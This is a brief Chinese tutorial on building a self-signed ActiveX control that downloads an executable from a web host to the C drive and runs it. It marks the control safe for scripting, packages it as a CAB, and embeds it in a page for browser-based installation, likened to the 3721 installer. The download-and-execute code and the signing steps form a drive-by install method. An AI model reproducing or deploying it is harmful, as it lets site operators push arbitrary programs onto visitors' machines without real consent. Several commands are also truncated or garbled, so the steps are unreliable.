先準備必備工具: 生成證書工具, 打包工具 , 簽證工具
裝了 platform sdk 就已經有前2種了, 再到 www.ca365.com上下載下傳一個 SIGNCODE.EXE 簽證用的.
1. 用atl寫個activex,工程命為 activextest 插入Composite Control, 發給按鈕,輕按兩下按鈕,在函數種輸入如
下測試代碼
::MessageBox(NULL, "請等待幾秒鐘", "測試", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe","c://xx.exe",0,NULL);
WinExec("c://xx.exe",SW_SHOW);
實作 IObjectSafety 接口
編譯, 把activextest.dll copy 出來
2. 制作證書:
MakeCert -sv "test.pvk" n "CN=公司名稱" test.CER
提示輸入密匙: 3次輸入的要一樣
Cert2Spc test.CER test.spc
3.打成cab包
編寫 inf 檔案, 命名為 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[Add.Code]
activextes.dll=activextes.dll
[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes
CABARC -s 6144 n activextest.cab activextest.dll activextest.
4.簽證
輕按兩下 SIGNCODE.EXE , 按照要求, 選activextest.cab , 選 test.spc 選test.pvk
5.編寫釋出網頁
CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">
ok, 把網頁和cab包傳到伺服器上, 根據這些, 你可以編寫一個象 3721 的網上安裝程式了